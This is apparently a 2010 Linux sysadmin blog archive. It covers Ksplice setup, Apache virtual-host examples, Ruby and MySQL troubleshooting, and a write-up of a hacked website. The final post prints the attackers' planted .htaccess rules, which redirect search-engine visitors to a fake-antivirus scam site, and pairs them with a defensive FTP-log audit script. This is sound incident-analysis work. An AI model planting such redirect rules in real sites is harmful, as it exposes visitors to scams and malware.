Monday, April 12, 2010

Ksplice: Upgrade / Patch Your Linux Kernel Without Reboots

SkyHi @ Monday, April 12, 2010

Generally, all Linux distributions needs a scheduled reboot once to stay up to date with important kernel security updates. RHN (or other distro vendors) provides Linux kernel security updates. You can apply kernel updates using yum command or apt-get command line options. After each upgrade you need to reboot the server. Ksplice service allows you to skip reboot step and apply hotfixes to kernel without rebooting the server. In this post I will cover a quick installation of Ksplice for RHEL 5.x and try to find out if service is worth every penny.



The technology and hack behind this looks pretty cool. This is useful if you've a small number of Linux based servers and/or you want avoid unscheduled reboot just to apply hotfix to Linux kernel.


How Do I Install Ksplice?


First, you need to register with Ksplice. Type the following command to install rpm repo under RHEL 5:

# rpm -ivh https://www.ksplice.com/yum/uptrack/centos/ksplice-uptrack-release.noarch.rpm

To install Ksplice, enter:

# yum install uptrack

Edit /etc/uptrack/uptrack.conf, enter:

# vi /etc/uptrack/uptrack.conf

Update it as follows (input your access key):


[Auth]
accesskey = ADD-YOUR-ACCESS-KEY-HERE

[Network]
# Proxy to use when accessing the Uptrack server, of the form
# [protocol://]<host>[:port]

# The proxy must support making HTTPS connections. If this is unset,
# Uptrack will look for the https_proxy, HTTPS_PROXY, and http_proxy
# environment variables in that order, and then finally look for a
# proxy setting in the system-wide GConf database, if available.
https_proxy =

[Settings]
# Automatically install updates at boot time. If this is set, on
# reboot into the same kernel, Uptrack will re-install the same set of
# updates that were present before the reboot.
install_on_reboot = yes

# Options configuring the Uptrack cron job.
#
# GUI users will get all notices via the GUI and likely want to set
# the following cron options to "no".

# Cron job will install updates automatically
autoinstall = no

# Cron job will print a message when new updates are installed.
# This option is only relevant if autoinstall = yes
cron_output_install = no

# Cron job will print a message when new updates are available
cron_output_available = no

# Cron job will print a message when it encounters errors
cron_output_error = no</host>

Save and close the file.


How Do I Apply Rebootless Kernel Updates?


You need to first download and apply updates via RHN:

# yum -y update

OR

# yum update kernel kernel-headers kernel-devel

Don't reboot the box, simply type the following command to apply hotfix:

# uptrack-upgrade

To see a list of updates that are currently installed, enter:

# uptrack-show -y


Sample Email Notification


You will get an email as follows when updates are available:


Fig.01: Ksplice Update Notification

Fig.01: Ksplice Update Notification




The web interface also provides information about your server and installed kernel updates:


Fig.02: Uptrack Web Interface

Fig.02: Uptrack Web Interface



Conclusion


The pricing is as follows:


  • Monthly price per system First 20 servers : $3.95
  • Beyond 20 servers: $2.95
  • Currently it is free for all Ubuntu users.

Ksplice is a pretty good and stable software. This is useful for Linux admin or business who can not accept downtime for patching. A few business comes in my mind:


  • Small shop, say 8-12 Linux based servers.
  • Pro-blogging or webmaster servers (a typical setup included one web server and one db server). Avoiding downtime means more ad revenue for webmasters.
  • Hosting companies - again avoiding downtime means good customer satisfactions and less work for sys admins. If you run VM based hosting (OpenVZ or XEN based vps) you can avoid downtime too.
  • Small cluster of Linux system, say 6 system - If cluster is using 80% of capacity and if one of node rebooted for kernel upgrade, load will up for rest of 5 systems. In such case, this service can help to keep load under control without rebooting the box. However, this is NOT very useful for very large Linux based cluster redundant load-balanced servers, routers, switches, firewalls etc. Since your cluster is so large that 4-5 servers failing makes no difference to the remaining nodes. In some cases it is possible to do geo load balancing too.

But I've HA Failover Solution In Place...


100% uptime depends upon lots of factors and and HA solution handles hardware or other failures very well. However, Ksplice service is not all about 100% uptime, it is about not rebooting your server for a Linux kernel upgrade. You can easily combine Ksplice with HA solution (such as keepalived+nginx reverse proxy) and try to get perfect five 9s. I highly recommend this service for small to medium size business or professional webmasters.


Further readings:


Apache HTTP Server Version 2.0 VirtualHost Examples

SkyHi @ Monday, April 12, 2010

This document attempts to answer the commonly-asked questions about
setting up virtual hosts. These scenarios are those involving multiple
web sites running on a single server, via name-based or IP-based virtual hosts.





top


Running several name-based web
sites on a single IP address.



Your server has a single IP address, and multiple aliases (CNAMES)
point to this machine in DNS. You want to run a web server for
www.example1.com and www.example2.org on this
machine.



Note

Creating virtual
host configurations on your Apache server does not magically
cause DNS entries to be created for those host names. You
must have the names in DNS, resolving to your IP
address, or nobody else will be able to see your web site. You
can put entries in your hosts file for local
testing, but that will work only from the machine with those
hosts entries.




Server configuration




# Ensure that Apache listens on port 80

Listen 80



# Listen for virtual host requests on all IP addresses

NameVirtualHost *:80



<VirtualHost *:80>


DocumentRoot /www/example1

ServerName www.example1.com



# Other directives here




</VirtualHost>



<VirtualHost *:80>


DocumentRoot /www/example2

ServerName www.example2.org



# Other directives here




</VirtualHost>



The asterisks match all addresses, so the main server serves no
requests. Due to the fact that www.example1.com is first
in the configuration file, it has the highest priority and can be seen
as the default or primary server. That means
that if a request is received that does not match one of the specified
ServerName directives, it will be served by this first
VirtualHost.




Note



You can, if you wish, replace * with the actual
IP address of the system. In that case, the argument to
VirtualHost must match the argument to
NameVirtualHost:




NameVirtualHost 172.20.30.40



<VirtualHost 172.20.30.40>

# etc ...



However, it is additionally useful to use *
on systems where the IP address is not predictable - for
example if you have a dynamic IP address with your ISP, and
you are using some variety of dynamic DNS solution. Since
* matches any IP address, this configuration
would work without changes whenever your IP address
changes.




The above configuration is what you will want to use in almost
all name-based virtual hosting situations. The only thing that this
configuration will not work for, in fact, is when you are serving
different content based on differing IP addresses or ports.



top


Name-based hosts on more than one
IP address.




Note

Any of the
techniques discussed here can be extended to any number of IP
addresses.




The server has two IP addresses. On one (172.20.30.40), we
will serve the "main" server, server.domain.com and on the
other (172.20.30.50), we will serve two or more virtual hosts.



Server configuration




Listen 80



# This is the "main" server running on 172.20.30.40

ServerName server.domain.com

DocumentRoot /www/mainserver



# This is the other address

NameVirtualHost 172.20.30.50



<VirtualHost 172.20.30.50>


DocumentRoot /www/example1

ServerName www.example1.com



# Other directives here ...




</VirtualHost>



<VirtualHost 172.20.30.50>


DocumentRoot /www/example2

ServerName www.example2.org



# Other directives here ...




</VirtualHost>



Any request to an address other than 172.20.30.50 will be
served from the main server. A request to 172.20.30.50 with an
unknown hostname, or no Host: header, will be served from
www.example1.com.



top


Serving the same content on
different IP addresses (such as an internal and external
address).



The server machine has two IP addresses (192.168.1.1
and 172.20.30.40). The machine is sitting between an
internal (intranet) network and an external (internet) network. Outside
of the network, the name server.example.com resolves to
the external address (172.20.30.40), but inside the
network, that same name resolves to the internal address
(192.168.1.1).



The server can be made to respond to internal and external requests
with the same content, with just one VirtualHost
section.



Server configuration




NameVirtualHost 192.168.1.1

NameVirtualHost 172.20.30.40



<VirtualHost 192.168.1.1 172.20.30.40>


DocumentRoot /www/server1

ServerName server.example.com

ServerAlias server


</VirtualHost>



Now requests from both networks will be served from the same
VirtualHost.




Note:

On the internal
network, one can just use the name server rather
than the fully qualified host name
server.example.com.



Note also that, in the above example, you can replace the list
of IP addresses with *, which will cause the server to
respond the same on all addresses.




top


Running different sites on different
ports.



You have multiple domains going to the same IP and also want to
serve multiple ports. By defining the ports in the "NameVirtualHost"
tag, you can allow this to work. If you try using <VirtualHost
name:port> without the NameVirtualHost name:port or you try to use
the Listen directive, your configuration will not work.



Server configuration




Listen 80

Listen 8080



NameVirtualHost 172.20.30.40:80

NameVirtualHost 172.20.30.40:8080



<VirtualHost 172.20.30.40:80>


ServerName www.example1.com

DocumentRoot /www/domain-80


</VirtualHost>



<VirtualHost 172.20.30.40:8080>


ServerName www.example1.com

DocumentRoot /www/domain-8080


</VirtualHost>



<VirtualHost 172.20.30.40:80>


ServerName www.example2.org

DocumentRoot /www/otherdomain-80


</VirtualHost>



<VirtualHost 172.20.30.40:8080>


ServerName www.example2.org

DocumentRoot /www/otherdomain-8080


</VirtualHost>



top


IP-based virtual hosting



The server has two IP addresses (172.20.30.40 and
172.20.30.50) which resolve to the names
www.example1.com and www.example2.org
respectively.



Server configuration




Listen 80



<VirtualHost 172.20.30.40>


DocumentRoot /www/example1

ServerName www.example1.com


</VirtualHost>



<VirtualHost 172.20.30.50>


DocumentRoot /www/example2

ServerName www.example2.org


</VirtualHost>



Requests for any address not specified in one of the
<VirtualHost> directives (such as
localhost, for example) will go to the main server, if
there is one.



top


Mixed port-based and ip-based virtual
hosts



The server machine has two IP addresses (172.20.30.40 and
172.20.30.50) which resolve to the names
www.example1.com and www.example2.org
respectively. In each case, we want to run hosts on ports 80 and
8080.



Server configuration




Listen 172.20.30.40:80

Listen 172.20.30.40:8080

Listen 172.20.30.50:80

Listen 172.20.30.50:8080



<VirtualHost 172.20.30.40:80>


DocumentRoot /www/example1-80

ServerName www.example1.com


</VirtualHost>



<VirtualHost 172.20.30.40:8080>


DocumentRoot /www/example1-8080

ServerName www.example1.com


</VirtualHost>



<VirtualHost 172.20.30.50:80>


DocumentRoot /www/example2-80

ServerName www.example1.org


</VirtualHost>



<VirtualHost 172.20.30.50:8080>


DocumentRoot /www/example2-8080

ServerName www.example2.org


</VirtualHost>



top


Mixed name-based and IP-based
vhosts



On some of my addresses, I want to do name-based virtual hosts, and
on others, IP-based hosts.



Server configuration




Listen 80



NameVirtualHost 172.20.30.40



<VirtualHost 172.20.30.40>


DocumentRoot /www/example1

ServerName www.example1.com


</VirtualHost>



<VirtualHost 172.20.30.40>


DocumentRoot /www/example2

ServerName www.example2.org


</VirtualHost>



<VirtualHost 172.20.30.40>


DocumentRoot /www/example3

ServerName www.example3.net


</VirtualHost>



# IP-based

<VirtualHost 172.20.30.50>


DocumentRoot /www/example4

ServerName www.example4.edu


</VirtualHost>



<VirtualHost 172.20.30.60>


DocumentRoot /www/example5

ServerName www.example5.gov


</VirtualHost>



top


Using Virtual_host and
mod_proxy together



The following example allows a front-end machine to proxy a
virtual host through to a server running on another machine. In the
example, a virtual host of the same name is configured on a machine
at 192.168.111.2. The ProxyPreserveHost On directive is
used so that the desired hostname is passed through, in case we are
proxying multiple hostnames to a single machine.




<VirtualHost *:*>

ProxyPreserveHost On

ProxyPass / http://192.168.111.2/

ProxyPassReverse / http://192.168.111.2/

ServerName hostname.example.com

</VirtualHost>



top


Using _default_
vhosts



_default_ vhosts
for all ports



Catching every request to any unspecified IP address and
port, i.e., an address/port combination that is not used for
any other virtual host.



Server configuration




<VirtualHost _default_:*>


DocumentRoot /www/default


</VirtualHost>



Using such a default vhost with a wildcard port effectively prevents
any request going to the main server.



A default vhost never serves a request that was sent to an
address/port that is used for name-based vhosts. If the request
contained an unknown or no Host: header it is always
served from the primary name-based vhost (the vhost for that
address/port appearing first in the configuration file).



You can use AliasMatch or
RewriteRule to rewrite any
request to a single information page (or script).




_default_ vhosts
for different ports



Same as setup 1, but the server listens on several ports and we want
to use a second _default_ vhost for port 80.



Server configuration




<VirtualHost _default_:80>


DocumentRoot /www/default80

# ...


</VirtualHost>



<VirtualHost _default_:*>


DocumentRoot /www/default

# ...


</VirtualHost>



The default vhost for port 80 (which must appear before any
default vhost with a wildcard port) catches all requests that were sent
to an unspecified IP address. The main server is never used to serve a
request.




_default_ vhosts
for one port



We want to have a default vhost for port 80, but no other default
vhosts.



Server configuration




<VirtualHost _default_:80>

DocumentRoot /www/default

...

</VirtualHost>



A request to an unspecified address on port 80 is served from the
default vhost any other request to an unspecified address and port is
served from the main server.




top


Migrating a name-based vhost to an
IP-based vhost



The name-based vhost with the hostname
www.example2.org (from our name-based example, setup 2) should get its own IP
address. To avoid problems with name servers or proxies who cached the
old IP address for the name-based vhost we want to provide both
variants during a migration phase.

The solution is easy, because we can simply add the new IP address
(172.20.30.50) to the VirtualHost
directive.



Server configuration




Listen 80

ServerName www.example1.com

DocumentRoot /www/example1



NameVirtualHost 172.20.30.40



<VirtualHost 172.20.30.40 172.20.30.50>


DocumentRoot /www/example2

ServerName www.example2.org

# ...


</VirtualHost>



<VirtualHost 172.20.30.40>


DocumentRoot /www/example3

ServerName www.example3.net

ServerAlias *.example3.net

# ...


</VirtualHost>



The vhost can now be accessed through the new address (as an
IP-based vhost) and through the old address (as a name-based
vhost).



top


Using the ServerPath
directive



We have a server with two name-based vhosts. In order to match the
correct virtual host a client must send the correct Host:
header. Old HTTP/1.0 clients do not send such a header and Apache has
no clue what vhost the client tried to reach (and serves the request
from the primary vhost). To provide as much backward compatibility as
possible we create a primary vhost which returns a single page
containing links with an URL prefix to the name-based virtual
hosts.



Server configuration




NameVirtualHost 172.20.30.40



<VirtualHost 172.20.30.40>


# primary vhost

DocumentRoot /www/subdomain

RewriteEngine On

RewriteRule ^/.* /www/subdomain/index.html

# ...


</VirtualHost>



<VirtualHost 172.20.30.40>

DocumentRoot /www/subdomain/sub1


ServerName www.sub1.domain.tld

ServerPath /sub1/

RewriteEngine On

RewriteRule ^(/sub1/.*) /www/subdomain$1

# ...


</VirtualHost>



<VirtualHost 172.20.30.40>


DocumentRoot /www/subdomain/sub2

ServerName www.sub2.domain.tld

ServerPath /sub2/

RewriteEngine On

RewriteRule ^(/sub2/.*) /www/subdomain$1

# ...


</VirtualHost>



Due to the ServerPath
directive a request to the URL
http://www.sub1.domain.tld/sub1/ is always served
from the sub1-vhost.
A request to the URL
http://www.sub1.domain.tld/ is only
served from the sub1-vhost if the client sent a correct
Host: header. If no Host: header is sent the
client gets the information page from the primary host.

Please note that there is one oddity: A request to
http://www.sub2.domain.tld/sub1/ is also served from the
sub1-vhost if the client sent no Host: header.

The RewriteRule directives
are used to make sure that a client which sent a correct
Host: header can use both URL variants, i.e.,
with or without URL prefix.







REFERENCE
http://httpd.apache.org/docs/2.0/vhosts/examples.html

Apache HTTP Server Version 1.3 Virtual Host examples

SkyHi @ Monday, April 12, 2010

Base configuration

Additional features


Simple name-based vhosting

  • Compatibility: This syntax was added in Apache 1.3.13.
  • Setup: The server machine has a primary name server.domain.tld. There are two aliases (CNAMEs) www.domain.tld and www.sub.domain.tld for the address server.domain.tld. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
    
        NameVirtualHost *:80
    
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
        
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ...
         
       
    The asterisks match all addresses, so the main server serves no requests. Due to the fact that www.domain.tld is first in the configuration file, it has the highest priority and can be seen as the default or primary server.

More complicated name-based vhosts

  • Setup 1: The server machine has one IP address (111.22.33.44) which resolves to the name server.domain.tld. There are two aliases (CNAMEs) www.domain.tld and www.sub.domain.tld for the address 111.22.33.44. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
    
        NameVirtualHost 111.22.33.44 
    
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
        
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ...
         
       
    Apart from localhost there are no unspecified addresses/ports, therefore the main server only serves localhost requests. Due to the fact that www.domain.tld has the highest priority it can be seen as the default or primary server.
  • Setup 2: The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server1.domain.tld and server2.domain.tld respectively. The alias www.domain.tld should be used for the main server which should also catch any unspecified addresses. We want to use a virtual host for the alias www.otherdomain.tld and another virtual host, with server name www.sub.domain.tld, should catch any request to hostnames of the form *.sub.domain.tld. The address 111.22.33.55 should be used for the virtual hosts. Server configuration:
    ...
        Port 80
        ServerName www.domain.tld
        DocumentRoot /www/domain
    
        NameVirtualHost 111.22.33.55
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ServerAlias *.sub.domain.tld
        ...
         
       
    Any request to an address other than 111.22.33.55 will be served from the main server. A request to 111.22.33.55 with an unknown or no Host: header will be served from www.otherdomain.tld.
  • Setup 3: The server machine has two IP addresses (192.168.1.1 and 111.22.33.55). The machine is sitting between an internal (intranet) network and an external (internet) network. Outside of the network, the name server1.domain.tld resolves to the external address (111.22.33.55), but inside the network, that same name resolves to the internal address (192.168.1.1). The server can be made to respond to internal and external requests with the same content, with just one VirtualHost section.
    Server configuration:
    ...
        NameVirtualHost 192.168.1.1
        NameVirtualHost 111.22.33.55
    
        
        DocumentRoot /www/server1
        ServerName server1.domain.tld
        ServerAlias server1
        ...
        
       
    Now requests from both networks will be served from the same VirtualHost
  • Setup 4: You have multiple domains going to the same IP and also want to serve multiple ports. By defining the ports in the "NameVirtualHost" tag, you can allow this to work. If you try using without the NameVirtualHost name:port or you try to use the Port directive, your configuration will not work. Server configuration:
    ...   
        NameVirtualHost 111.22.33.44:80
        NameVirtualHost 111.22.33.44:8080
    
        
        ServerName www.domain.tld
        DocumentRoot /www/domain-80
        
    
        
        ServerName www.domain.tld
        DocumentRoot /www/domain-8080
        
    
        
        ServerName www.otherdomain.tld
        DocumentRoot /www/otherdomain-80
        
    
        
        ServerName www.otherdomain.tld
        DocumentRoot /www/otherdomain-8080
        
    
       

IP-based vhosts

  • Setup 1: The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www.otherdomain.tld respectively. The hostname www.domain.tld is an alias (CNAME) for server.domain.tld and will represent the main server. Server configuration:
    ...
        Port 80
        DocumentRoot /www/domain
        ServerName www.domain.tld
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
    www.otherdomain.tld can only be reached through the address 111.22.33.55, while www.domain.tld can only be reached through 111.22.33.44 (which represents our main server).
  • Setup 2: Same as setup 1, but we don't want to have a dedicated main server. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
        
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
    The main server can never catch a request, because all IP addresses of our machine are in use for IP-based virtual hosts (only localhost requests can hit the main server).
  • Setup 3: The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www-cache.domain.tld respectively. The hostname www.domain.tld is an alias (CNAME) for server.domain.tld and will represent the main server. www-cache.domain.tld will become our proxy-cache listening on port 8080, while the web server itself uses the default port 80. Server configuration:
    ...
        Port 80
        Listen 111.22.33.44:80
        Listen 111.22.33.55:8080
        ServerName server.domain.tld
        
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
    
        
        ServerName www-cache.domain.tld
        ...
          
          Order Deny,Allow
          Deny from all
          Allow from 111.22.33
          
        
       
    The main server can never catch a request, because all IP addresses (apart from localhost) of our machine are in use for IP-based virtual hosts. The web server can only be reached on the first address through port 80 and the proxy only on the second address through port 8080.

Mixed name-/IP-based vhosts

  • Setup: The server machine has three IP addresses (111.22.33.44, 111.22.33.55 and 111.22.33.66) which resolve to the names server.domain.tld, www.otherdomain1.tld and www.otherdomain2.tld respectively. The address 111.22.33.44 should be used for a couple of name-based vhosts and the other addresses for IP-based vhosts. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
    
        NameVirtualHost 111.22.33.44
    
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
       
        
        DocumentRoot /www/subdomain1
        ServerName www.sub1.domain.tld
        ...
         
        
        
        DocumentRoot /www/subdomain2
        ServerName www.sub2.domain.tld
        ...
         
     
        
        DocumentRoot /www/otherdomain1
        ServerName www.otherdomain1.tld
        ...
         
        
        
        DocumentRoot /www/otherdomain2
        ServerName www.otherdomain2.tld
        ...
             
       

Port-based vhosts

  • Setup: The server machine has one IP address (111.22.33.44) which resolves to the name www.domain.tld. If we don't have the option to get another address or alias for our server we can use port-based vhosts if we need a virtual host with a different configuration. Server configuration:
    ...
        Listen 80
        Listen 8080
        ServerName www.domain.tld
        DocumentRoot /www/domain
    
        
        DocumentRoot /www/domain2
        ...
        
       
    A request to www.domain.tld on port 80 is served from the main server and a request to port 8080 is served from the virtual host.

Using _default_ vhosts

  • Setup 1: Catching every request to any unspecified IP address and port, i.e., an address/port combination that is not used for any other virtual host. Server configuration:
    ...
        
        DocumentRoot /www/default
        ...
        
       
    Using such a default vhost with a wildcard port effectively prevents any request going to the main server.
    A default vhost never serves a request that was sent to an address/port that is used for name-based vhosts. If the request contained an unknown or no Host: header it is always served from the primary name-based vhost (the vhost for that address/port appearing first in the configuration file).
    You can use AliasMatch or RewriteRule to rewrite any request to a single information page (or script).
  • Setup 2: Same as setup 1, but the server listens on several ports and we want to use a second _default_ vhost for port 80. Server configuration:
    ...
        
        DocumentRoot /www/default80
        ...
        
        
        
        DocumentRoot /www/default
        ...
            
       
    The default vhost for port 80 (which must appear before any default vhost with a wildcard port) catches all requests that were sent to an unspecified IP address. The main server is never used to serve a request.
  • Setup 3: We want to have a default vhost for port 80, but no other default vhosts. Server configuration:
    ...
        
        DocumentRoot /www/default
        ...
        
       
    A request to an unspecified address on port 80 is served from the default vhost any other request to an unspecified address and port is served from the main server.

Migrating a name-based vhost to an IP-based vhost

  • Setup: The name-based vhost with the hostname www.otherdomain.tld (from our name-based example, setup 2) should get its own IP address. To avoid problems with name servers or proxies who cached the old IP address for the name-based vhost we want to provide both variants during a migration phase.
    The solution is easy, because we can simply add the new IP address (111.22.33.66) to the VirtualHost directive. Server configuration:
    ...
        Port 80
        ServerName www.domain.tld
        DocumentRoot /www/domain
    
        NameVirtualHost 111.22.33.55
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ServerAlias *.sub.domain.tld
        ...
        
       
    The vhost can now be accessed through the new address (as an IP-based vhost) and through the old address (as a name-based vhost).

Using the ServerPath directive

  • Setup: We have a server with two name-based vhosts. In order to match the correct virtual host a client must send the correct Host: header. Old HTTP/1.0 clients do not send such a header and Apache has no clue what vhost the client tried to reach (and serves the request from the primary vhost). To provide as much backward compatibility as possible we create a primary vhost which returns a single page containing links with an URL prefix to the name-based virtual hosts. Server configuration:
    ...
        NameVirtualHost 111.22.33.44
    
        
        # primary vhost
        DocumentRoot /www/subdomain
        RewriteEngine On
        RewriteRule ^/.* /www/subdomain/index.html
        ...
        
    
        
        DocumentRoot /www/subdomain/sub1
        ServerName www.sub1.domain.tld
        ServerPath /sub1/
        RewriteEngine On
        RewriteRule ^(/sub1/.*) /www/subdomain$1 
        ...
        
    
        
        DocumentRoot /www/subdomain/sub2
        ServerName www.sub2.domain.tld
        ServerPath /sub2/
        RewriteEngine On
        RewriteRule ^(/sub2/.*) /www/subdomain$1 
        ...
        
       
    Due to the ServerPath directive a request to the URL http://www.sub1.domain.tld/sub1/ is always served from the sub1-vhost.
    A request to the URL http://www.sub1.domain.tld/ is only served from the sub1-vhost if the client sent a correct Host: header. If no Host: header is sent the client gets the information page from the primary host.
    Please note that there is one oddity: A request to http://www.sub2.domain.tld/sub1/ is also served from the sub1-vhost if the client sent no Host: header.
    The RewriteRule directives are used to make sure that a client which sent a correct Host: header can use both URL variants, i.e., with or without URL prefix.

REFERENCE
http://httpd.apache.org/docs/1.3/vhosts/examples.html

Sunday, April 11, 2010

How do I cleanly remove ruby 1.8.7 from Centos 5

SkyHi @ Sunday, April 11, 2010

Hi, can someone tell me how I can cleanly remove my
ruby version 1.8.7? I installed it by download the source and perform a
make.



Thank you.



Yong


=========================================================================

You shouldn't install software this way.

Removing software which was installed like this may be dangerous:



  1. unpack the same ruby to /tmp
  2. run:


    ./configure --prefix=/tmp/somedir    # by default prefix points to /usr/local
make
make install # this will install ruby in /usr/local instead of where you've installed it
cd /tmp/somedir
find . -type f -exec rm -i /usr/local{} \; # Use without -i if you are shure
find . -type d -exec rm -ir /usr/local{} \;


I hope this will help you


REFERENCE

http://serverfault.com/questions/82343/how-do-i-cleanly-remove-ruby-1-8-7-from-centos-5




Table 'mysql.servers' doesn't exist after upgrade to mysql-5.1.45

SkyHi @ Sunday, April 11, 2010
This should solve the problem. Not sure how this problem started for me but I mysqldumped the mysql.server table from another database and eliminated the error.





Best,


C











CREATE TABLE `servers` (


`Server_name` char(64) NOT NULL,


`Host` char(64) NOT NULL,


`Db` char(64) NOT NULL,


`Username` char(64) NOT NULL,


`Password` char(64) NOT NULL,


`Port` int(4) DEFAULT NULL,


`Socket` char(64) DEFAULT NULL,


`Wrapper` char(64) NOT NULL,


`Owner` char(64) NOT NULL,


PRIMARY KEY (`Server_name`)


) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='MySQL Foreign Servers table';


REFERENCE:
http://forums.mysql.com/read.php?11,142598,160503#msg-160503

mysql: Error message file '/usr/share/mysql/english/errmsg.sys' had only 480 error messages

SkyHi @ Sunday, April 11, 2010
I had the following on fresh install of Centos 5.4:

---

Error message file '/usr/share/mysql/english/errmsg.sys' had only 480
error messages,

but it should contain at least 481 error messages.

Check that the above file is the right version for this program!

---

Solution:

1) cp /usr/share/mysql/english/errmsg.sys
/usr/share/mysql/english/errmsg.sys.backup

2) Download http://downloads.mysql.com/archives/mysql-5.0/mysql-5.0.86.tar.gz

3) tar -xzvf http://downloads.mysql.com/archives/mysql-5.0/mysql-5.0.86.tar.gz

4) cp mysql-5.0.86/sql/share/english/errmsg.sys
/usr/share/mysql/english/errmsg.sys

5) mysql_install_db

6) service mysqld start

(chkconfig mysqld on)

REFERENCE:
http://www.jasonlitka.com/2009/09/25/mysql-upgraded-to-5-0-86/

This site may harm your computer

SkyHi @ Sunday, April 11, 2010
Today the website of one of the clients was blacklisted by Google by containing malicious software that downloads and installs without user’s consent. Google displayed “This site may harm your computer” under website in the results page.
Analyzing site’s sources we found obfuscated JavaScript code inserted near body, html tags in .html, .php, .tpl files and a .htaccess file with following content:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://real-antispyware.info/0/go.php?sid=2 [R,L]
Hmm, visitors from search engines were redirected to real-antispyware.info. This website is a scam that shows some JavaScript animation fulling the user with a message that his computer is infected and prompts him to download and install a fake AntiVirus.
Analyzing IP addresses from ftp logs we found connections from Russia and China that altered client’s website. Somehow they got user’s ftp password (it can be done in so many ways: weak password, traffic sniffing, virus, keylogger, trojan, …) and they altered website files.
You can use this simple Ruby script to analyze your ftp logs. By default it is configured for a Plesk server, and it will show suspicious lines (change IGNORE variables to fit your needs). You may need to install rubygems and geoip gem.
#!/usr/bin/ruby
 
require 'rubygems'
require 'geoip'
require 'zlib'
 
# hide logs from these countries
# Example: RO US
IGNORE_COUNTRIES = %w{RO US}
# free geoip database is not 100% accurate
# we may need to ignore a few ip addresses
IGNORE_IP = %w{127.0.0.1 127.0.0.2}
 
files = Dir.glob("/usr/local/psa/var/log/xferlog*")
geoip = GeoIP.new('/var/lib/GeoIP/GeoIP.dat')
 
def ip2country(geoip, ip)
  country = geoip.country(ip)[3]
end
 
ip_list = []
files.each do |filename|
  puts ""
  puts "Processing #{filename} ..."
 
  File.open(filename) do |f|
    input = f
    input = Zlib::GzipReader.new(f) if File.extname(filename) == ".gz"
 
    while line = input.gets do
      ip = line.split(/\s+/)[6]
 
      unless ip_list.include? ip
        country = ip2country(geoip, ip)
        unless IGNORE_COUNTRIES.include? country.upcase or IGNORE_IP.include? ip
          puts " [#{country} : #{ip}] => #{line}"
        end
        ip_list << ip
      end
   end
  end
end
Steps that needs to followed:
  1. Change FTP password
  2. Upload a clean copy from the backups of the website
  3. Submit the website in the Webmaster’s Tools for reconsideration
  4. Audit your company security: computers, firewalls, antiviruses, software, …
You may find useful diagnose tool from the Google (replace example.com with your domain):
http://www.google.com/safebrowsing/diagnostic?site=http://example.com